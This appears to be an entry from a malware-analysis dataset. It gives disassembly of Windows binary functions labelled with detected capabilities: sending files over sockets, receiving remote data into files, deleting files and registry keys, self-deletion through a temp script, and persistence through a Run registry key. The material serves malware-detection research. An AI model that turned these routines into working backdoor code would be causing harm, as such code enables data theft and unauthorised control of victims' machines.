joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404148
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffa8
push ebx
push esi
push edi
mov eax, 0x48d430
call fcn.004696b8
mov dword [ebp - 8], 2
lea edx, [ebp + 0x10]
lea eax, [ebp + 0x10]
call fcn.00474b80
inc dword [ebp - 8]
lea edx, [ebp + 8]
mov word [ebp - 0x14], 8
lea eax, [ebp + 8]
call fcn.00474b80
inc dword [ebp - 8]
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x404197
mov ebx, dword [ebp + 0x10]
jmp 0x40419c
mov ebx, 0x48b5f5
push 0
push ebx
call sub.KERNEL32.DLL__lopen
mov esi, eax
inc eax
jne 0x4041db
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.00474d44
dec dword [ebp - 8]
lea eax, [ebp + 0x10]
mov edx, 2
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40434b
lea ecx, [ebp - 0x1050]
push ecx
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x4041ee
mov edx, dword [ebp + 0x10]
jmp 0x4041f3
mov edx, 0x48b5f6
push edx
call fcn.0046aa1c
mov eax, dword [ebp - 0x103e]
add esp, 8
mov dword [ebp - 0x28], eax
xor eax, eax
mov ecx, dword [ebp - 0x28]
shr ecx, 0xc
add esp, 0xfffffff8
mov dword [ebp - 0x1058], ecx
mov dword [ebp - 0x1054], eax
fild qword [ebp - 0x1058]
fstp qword [esp]
call fcn.0046d588
add esp, 8
call fcn.0046d5bc
mov dword [ebp - 0x2c], eax
mov dx, word [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403e6c
add esp, 8
mov edi, eax
test edi, edi
jne 0x40427e
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.00474d44
dec dword [ebp - 8]
lea eax, [ebp + 0x10]
mov edx, 2
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40434b
mov ebx, 1
mov eax, dword [ebp - 0x2c]
cmp ebx, eax
jg 0x4042ca
push 0x1000
lea edx, [ebp - 0x102c]
push edx
push esi
call sub.KERNEL32.DLL__lread
push 0
mov ecx, ebx
shl ecx, 0xc
push ecx
push esi
call sub.KERNEL32.DLL__llseek
test edi, edi
je 0x4042c2
push 0
lea eax, [ebp - 0x102c]
push 0x1000
push eax
push edi
call sub.WSOCK32.DLL_send
inc ebx
mov edx, dword [ebp - 0x2c]
cmp ebx, edx
jle 0x40428a
mov eax, dword [ebp - 0x2c]
shl eax, 0xc
mov edx, dword [ebp - 0x28]
cmp eax, edx
jge 0x40430f
mov ecx, dword [ebp - 0x28]
sub ecx, eax
lea eax, [ebp - 0x102c]
push ecx
push eax
push esi
call sub.KERNEL32.DLL__lread
test edi, edi
je 0x40430f
push 0
lea eax, [ebp - 0x102c]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
shl edx, 0xc
sub ecx, edx
push ecx
push eax
push edi
call sub.WSOCK32.DLL_send
push edi
call sub.WSOCK32.DLL_closesocket
push edi
call sub.WSOCK32.DLL_closesocket
push esi
call sub.KERNEL32.DLL__lclose
mov eax, 1
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.00474d44
dec dword [ebp - 8]
lea eax, [ebp + 0x10]
mov edx, 2
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404354
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffcc
mov eax, 0x48d454
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
call fcn.004696b8
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.00474b80
inc dword [ebp - 8]
mov eax, esi
mov word [ebp - 0x14], 8
mov ebx, dword [eax]
xor ecx, ecx
xor edx, edx
call dword [ebx + 0xc]
mov eax, esi
call fcn.00458b80
shr eax, 0xc
xor edx, edx
mov dword [ebp - 0x1034], eax
mov dword [ebp - 0x1030], edx
fild qword [ebp - 0x1034]
add esp, 0xfffffff8
fstp qword [esp]
call fcn.0046d588
add esp, 8
call fcn.0046d5bc
mov dword [ebp - 0x28], eax
mov dx, word [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403e6c
add esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404408
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40450c
mov ebx, 1
mov eax, dword [ebp - 0x28]
cmp ebx, eax
jg 0x40447e
mov eax, esi
lea edx, [ebp - 0x102c]
mov ecx, 0x1000
mov edi, dword [eax]
call dword [edi + 4]
mov eax, esi
mov edx, ebx
shl edx, 0xc
xor ecx, ecx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x404454
push 0
lea edx, [ebp - 0x102c]
push 0x1000
push edx
mov ecx, dword [ebp - 0x2c]
push ecx
call sub.WSOCK32.DLL_send
jmp 0x404476
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40450c
inc ebx
mov ecx, dword [ebp - 0x28]
cmp ebx, ecx
jle 0x404414
mov eax, esi
call fcn.00458b80
mov ebx, eax
mov eax, dword [ebp - 0x28]
shl eax, 0xc
sub ebx, eax
mov word [ebp - 0x14], 8
test ebx, ebx
jle 0x4044e3
mov edx, dword [ebp - 0x2c]
test edx, edx
je 0x4044c4
mov eax, esi
lea edx, [ebp - 0x102c]
mov ecx, ebx
mov esi, dword [eax]
call dword [esi + 4]
push 0
push ebx
lea eax, [ebp - 0x102c]
push eax
mov edx, dword [ebp - 0x2c]
push edx
call sub.WSOCK32.DLL_send
jmp 0x4044e3
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40450c
mov ecx, dword [ebp - 0x2c]
push ecx
call sub.WSOCK32.DLL_closesocket
mov eax, 1
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404514
Capabilities:
Delete file
Receive data
Receive data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffc4
push ebx
push esi
push edi
mov eax, 0x48d488
call fcn.004696b8
mov dword [ebp - 0xc], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.00474b80
inc dword [ebp - 0xc]
lea edx, [ebp - 0x2c]
mov word [ebp - 0x18], 8
mov dword [ebp - 0x2c], 0x10
push edx
lea ecx, [ebp - 0x103c]
push ecx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.DLL_accept
mov edi, eax
inc eax
jne 0x40458b
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 0xc]
dec dword [ebp - 0xc]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x404715
mov word [ebp - 0x18], 0x14
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x40459d
mov edx, dword [ebp + 0xc]
jmp 0x4045a2
mov edx, 0x48b5f7
lea eax, [ebp - 4]
call fcn.00474b48
inc dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.0045f8bc
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x4045fd
push 0x80
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4045db
mov edx, dword [ebp + 0xc]
jmp 0x4045e0
mov edx, 0x48b5f8
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4045f2
mov ecx, dword [ebp + 0xc]
jmp 0x4045f7
mov ecx, 0x48b5f9
push ecx
call sub.KERNEL32.DLL_DeleteFileA
push 0
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x40460b
mov edx, dword [ebp + 0xc]
jmp 0x404610
mov edx, 0x48b5fa
push edx
call sub.KERNEL32.DLL__lcreat
mov ebx, eax
inc eax
jne 0x40463d
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 0xc]
dec dword [ebp - 0xc]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x404715
push ebx
call sub.KERNEL32.DLL__lclose
push 1
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x404651
mov eax, dword [ebp + 0xc]
jmp 0x404656
mov eax, 0x48b5fb
push eax
call sub.KERNEL32.DLL__lopen
mov esi, eax
inc eax
jne 0x404683
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 0xc]
dec dword [ebp - 0xc]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x404715
mov word [ebp - 0x18], 8
push 0
lea ecx, [ebp - 0x102c]
push 0x1000
push ecx
push edi
call sub.WSOCK32.DLL_recv
mov ebx, eax
test eax, eax
jge 0x4046c2
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 0xc]
dec dword [ebp - 0xc]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x404715
test ebx, ebx
je 0x4046e0
push 2
push 0
push esi
call sub.KERNEL32.DLL__llseek
push ebx
lea ecx, [ebp - 0x102c]
push ecx
push esi
call sub.KERNEL32.DLL__lwrite
jmp 0x404689
push esi
call sub.KERNEL32.DLL__lclose
push edi
call sub.WSOCK32.DLL_closesocket
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.DLL_closesocket
mov eax, 1
mov edx, 2
push eax
lea eax, [ebp + 0xc]
dec dword [ebp - 0xc]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408184
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x48e2f8
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
call fcn.004696b8
mov dword [ebp - 0x20], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.00474b80
inc dword [ebp - 0x20]
mov eax, esi
mov word [ebp - 0x2c], 8
mov edx, dword [eax]
call dword [edx + pe_nt_image_headers32]
push esi
mov edx, 0x48b970
mov word [ebp - 0x2c], 0x14
lea eax, [ebp - 4]
call fcn.00474b48
inc dword [ebp - 0x20]
mov ecx, dword [eax]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.004061e0
add esp, 0xc
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x2c], 8
xor ebx, ebx
jmp 0x408300
mov word [ebp - 0x2c], 0x2c
xor eax, eax
lea ecx, [ebp - 8]
mov dword [ebp - 8], eax
mov eax, esi
inc dword [ebp - 0x20]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov word [ebp - 0x2c], 0x20
push 0x80
mov eax, dword [ebp - 8]
test eax, eax
je 0x408230
mov edx, dword [ebp - 8]
jmp 0x408235
mov edx, 0x48b974
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
mov eax, dword [ebp - 8]
test eax, eax
je 0x408247
mov ecx, dword [ebp - 8]
jmp 0x40824c
mov ecx, 0x48b975
push ecx
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
je 0x408265
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x44]
dec ebx
jmp 0x4082e9
mov word [ebp - 0x2c], 0x38
xor eax, eax
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0xc]
inc dword [ebp - 0x20]
lea edx, [ebp - 8]
mov eax, 0x48b976
call fcn.00475018
lea eax, [ebp - 0xc]
push eax
mov edx, 0x48b985
lea eax, [ebp - 0x10]
call fcn.00474b48
inc dword [ebp - 0x20]
xor ecx, ecx
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x14]
inc dword [ebp - 0x20]
lea edx, [ebp - 0x10]
pop eax
call fcn.00474d9c
mov eax, esi
lea ecx, [ebp - 0x14]
mov edx, ebx
mov edi, dword [eax]
mov ecx, dword [ecx]
call dword [edi + 0x20]
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x2c], 8
inc ebx
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
cmp ebx, eax
jl 0x4081ff
push esi
mov ecx, dword [ebp + 8]
push ecx
call fcn.00406bb4
add esp, 8
mov eax, dword [ebp + 8]
test eax, eax
je 0x408328
mov edx, dword [ebp + 8]
jmp 0x40832d
mov edx, 0x48b99b
push edx
call sub.KERNEL32.DLL_RemoveDirectoryA
test eax, eax
jne 0x408371
mov word [ebp - 0x2c], 0x44
xor eax, eax
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x18]
inc dword [ebp - 0x20]
lea edx, [ebp + 8]
mov eax, 0x48b99c
call fcn.00475018
lea edx, [ebp - 0x18]
mov eax, esi
mov edx, dword [edx]
call fcn.004578d8
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00474d44
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
mov edx, 2
setne al
and eax, 1
push eax
lea eax, [ebp + 8]
dec dword [ebp - 0x20]
call fcn.00474d44
pop eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40878c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [0x48a698]
dec eax
jne 0x40879d
xor eax, eax
pop ebx
pop ebp
ret
push 0x48a6a0
push 0
mov edx, dword [ebp + 8]
push edx
push 0x4085fc
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov ebx, eax
mov dword [0x48a6a4], ebx
test ebx, ebx
jne 0x4087c8
or eax, 0xffffffff
pop ebx
pop ebp
ret
mov eax, 1
pop ebx
pop ebp
ret

Function at 0x408e54
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x48e414
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
call fcn.004696b8
push 0x80
push ebx
call sub.WSOCK32.DLL_gethostname
test eax, eax
jne 0x408f8b
push ebx
call sub.WSOCK32.DLL_gethostbyname
mov esi, eax
xor edi, edi
jmp 0x408f77
mov word [ebp - 0x24], 8
xor eax, eax
mov dword [ebp - 4], eax
inc dword [ebp - 0x18]
mov word [ebp - 0x24], 0x14
xor ebx, ebx
jmp 0x408f49
mov word [ebp - 0x24], 0x20
xor eax, eax
mov dword [ebp - 8], eax
inc dword [ebp - 0x18]
mov word [ebp - 0x24], 0x2c
test ebx, ebx
jle 0x408ef0
mov word [ebp - 0x24], 0x38
mov edx, 0x48bbc0
lea eax, [ebp - 0xc]
call fcn.00474b48
inc dword [ebp - 0x18]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
call fcn.00474d88
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x24], 0x44
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + edi*4]
xor edx, edx
mov dl, byte [eax + ebx]
lea eax, [ebp - 0x10]
call fcn.00474c94
inc dword [ebp - 0x18]
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.00474d74
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00474d44
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.00474d88
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x24], 0x14
inc ebx
movsx ecx, word [esi + 0xa]
cmp ebx, ecx
jl 0x408ea7
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
call fcn.004578d8
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x24], 0
inc edi
test esi, esi
je 0x408f98
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + edi*4]
test eax, eax
jne 0x408e8c
jmp 0x408f98
xor eax, eax
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x408fa3
mov al, 1
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a730
Capabilities:
Create process on windows
Delete file
Get common file path
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
mov eax, 0x48ebf0
push ebx
call fcn.004696b8
mov dword [ebp - 0x20], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.00474b80
inc dword [ebp - 0x20]
lea eax, [ebp - 0x13c]
mov word [ebp - 0x2c], 8
push eax
push 0x100
mov ebx, 0x48bf38
call sub.KERNEL32.DLL_GetTempPathA
lea eax, [ebp - 0x13c]
mov edx, ebx
call fcn.0045fd60
lea ecx, [ebp - 0x13c]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
push 0x48bf43
lea eax, [ebp - 0x13c]
push eax
call fcn.0046ae64
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x40a8ff
push 0x48bf46
push ebx
call fcn.0046ae98
add esp, 8
push 0x48bf52
push ebx
call fcn.0046ae98
mov word [ebp - 0x2c], 0x14
xor eax, eax
add esp, 8
mov dword [ebp - 4], eax
mov eax, 0x48bf59
inc dword [ebp - 0x20]
lea ecx, [ebp - 4]
lea edx, [ebp + 8]
call fcn.00475018
lea edx, [ebp - 4]
push edx
mov edx, 0x48bf5e
lea eax, [ebp - 8]
call fcn.00474b48
inc dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0xc], eax
lea edx, [ebp - 8]
inc dword [ebp - 0x20]
lea ecx, [ebp - 0xc]
pop eax
call fcn.00474d9c
mov edx, dword [ebp - 0xc]
test edx, edx
je 0x40a81a
mov ecx, dword [ebp - 0xc]
jmp 0x40a81f
mov ecx, 0x48bf60
push ecx
push ebx
call fcn.0046ae98
add esp, 8
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x2c], 0x20
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x10]
inc dword [ebp - 0x20]
lea edx, [ebp + 8]
mov eax, 0x48bf61
call fcn.00475018
lea eax, [ebp - 0x10]
push eax
mov edx, 0x48bf6b
lea eax, [ebp - 0x14]
call fcn.00474b48
inc dword [ebp - 0x20]
xor ecx, ecx
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x18]
inc dword [ebp - 0x20]
lea edx, [ebp - 0x14]
pop eax
call fcn.00474d9c
mov edx, dword [ebp - 0x18]
test edx, edx
je 0x40a8ab
mov eax, dword [ebp - 0x18]
jmp 0x40a8b0
mov eax, 0x48bf77
push eax
push ebx
call fcn.0046ae98
add esp, 8
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00474d44
push 0x48bf78
push ebx
call fcn.0046ae98
add esp, 8
push ebx
call fcn.0046ab10
pop ecx
push 0x80
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x40a910
mov eax, dword [ebp + 8]
jmp 0x40a915
mov eax, 0x48bf7f
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
test eax, eax
je 0x40a942
push 0
push 0
lea edx, [ebp - 0x13c]
mov ecx, dword [0x49a444]
push 0
push edx
push 0x48bf80
mov eax, dword [ecx]
mov edx, dword [eax + 0x24]
push edx
call sub.SHELL32.DLL_ShellExecuteA
dec dword [ebp - 0x20]
lea eax, [ebp + 8]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x3c]
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c3f4
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov edx, dword [ebp + 0xc]
push edx
push edi
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x40c424
or eax, 0xffffffff
jmp 0x40c47a
xor ebx, ebx
jmp 0x40c44e
lea eax, [ebp - 0x10c]
push eax
push esi
mov edx, dword [ebp - 4]
push edx
call fcn.0040c3f4
add esp, 0xc
inc eax
jne 0x40c44d
mov ecx, dword [ebp - 4]
push ecx
call sub.ADVAPI32.DLL_RegCloseKey
or eax, 0xffffffff
jmp 0x40c47a
inc ebx
push 0x104
push esi
push ebx
mov edx, dword [ebp - 4]
push edx
call sub.ADVAPI32.DLL_RegEnumKeyA
cmp eax, 0x103
jne 0x40c428
mov ecx, dword [ebp - 4]
push ecx
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, dword [ebp + 0xc]
push eax
push edi
call sub.ADVAPI32.DLL_RegDeleteKeyA
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f900
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
mov eax, 0x48fc6c
call fcn.004696b8
push 1
push 0
push 0
xor edx, edx
mov word [ebp - 0x18], 8
mov dword [ebp - 4], edx
lea ecx, [ebp - 4]
push ecx
inc dword [ebp - 0xc]
call fcn.0040f698
pop ecx
mov eax, dword [ebp - 4]
test eax, eax
je 0x40f93a
mov edx, dword [ebp - 4]
jmp 0x40f93f
mov edx, 0x48c515
mov eax, dword [0x49a444]
push edx
push 0x48c510
mov ecx, dword [eax]
mov eax, dword [ecx + 0x24]
push eax
call sub.SHELL32.DLL_ShellExecuteA
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
mov ecx, dword [0x49a444]
mov eax, dword [ecx]
call fcn.004413bc
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410174
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, 0x48ffa4
call fcn.004696b8
mov dword [ebp - 0x20], 2
lea edx, [ebp - 4]
lea eax, [ebp - 4]
call fcn.00474b80
inc dword [ebp - 0x20]
lea edx, [ebp - 8]
mov word [ebp - 0x2c], 8
lea eax, [ebp - 8]
call fcn.00474b80
inc dword [ebp - 0x20]
mov dl, 1
mov eax, dword [0x428428]
call fcn.00428568
mov word [ebp - 0x2c], 0x14
mov ebx, eax
lea eax, [ebp - 0xc]
mov edx, 0x48c567
call fcn.00474b48
inc dword [ebp - 0x20]
mov edx, 0x48c59d
mov word [ebp - 0x2c], 8
mov word [ebp - 0x2c], 0x20
lea eax, [ebp - 0x10]
call fcn.00474b48
inc dword [ebp - 0x20]
mov edx, 0x80000002
mov word [ebp - 0x2c], 8
mov eax, ebx
call fcn.00474b40
mov cl, 1
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.0042875c
test al, al
je 0x410224
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00428ad8
mov eax, ebx
call fcn.004285d0
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.0042875c
test al, al
je 0x410248
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00428ad8
mov eax, ebx
call fcn.004285d0
mov esi, ebx
mov dword [ebp - 0x18], esi
test esi, esi
je 0x410276
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
mov word [ebp - 0x2c], 0x38
mov edx, 3
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x2c], 0x2c
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x3c]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41bb8c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff6c
lea eax, [ebp - 4]
push ebx
push esi
push edi
xor esi, esi
mov edi, dword [ebp + 0x14]
push eax
push 8
push 0
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov ebx, eax
test eax, eax
je 0x41bbc0
or eax, 0xffffffff
jmp 0x41bc86
mov dword [ebp - 8], 0x80
lea edx, [ebp - 0x10]
lea ecx, [ebp - 8]
push edx
push 0
push 0
push 0
push ecx
lea eax, [ebp - 0x94]
push eax
push esi
mov edx, dword [ebp - 4]
push edx
call sub.ADVAPI32.DLL_RegEnumKeyExA
mov ebx, eax
test ebx, ebx
jne 0x41bc52
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x94]
push eax
push 0x40000
push 0
push edx
mov ecx, dword [ebp - 4]
inc esi
push ecx
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov ebx, eax
test eax, eax
je 0x41bc1c
mov edx, dword [ebp - 4]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
or eax, 0xffffffff
jmp 0x41bc86
mov edx, dword [ebp + 0x10]
push edx
push 4
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x49a89c]
mov ebx, eax
test eax, eax
je 0x41bc49
mov edx, dword [ebp - 0x14]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
mov ecx, dword [ebp - 4]
push ecx
call sub.ADVAPI32.DLL_RegCloseKey
or eax, 0xffffffff
jmp 0x41bc86
mov edx, dword [ebp - 0x14]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
test ebx, ebx
je 0x41bbc0
cmp ebx, 0x103
je 0x41bc70
mov ecx, dword [ebp - 4]
push ecx
call sub.ADVAPI32.DLL_RegCloseKey
or eax, 0xffffffff
jmp 0x41bc86
test edi, edi
jne 0x41bc7f
mov edx, dword [ebp - 4]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x41bc84
mov ecx, dword [ebp - 4]
mov dword [edi], ecx
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret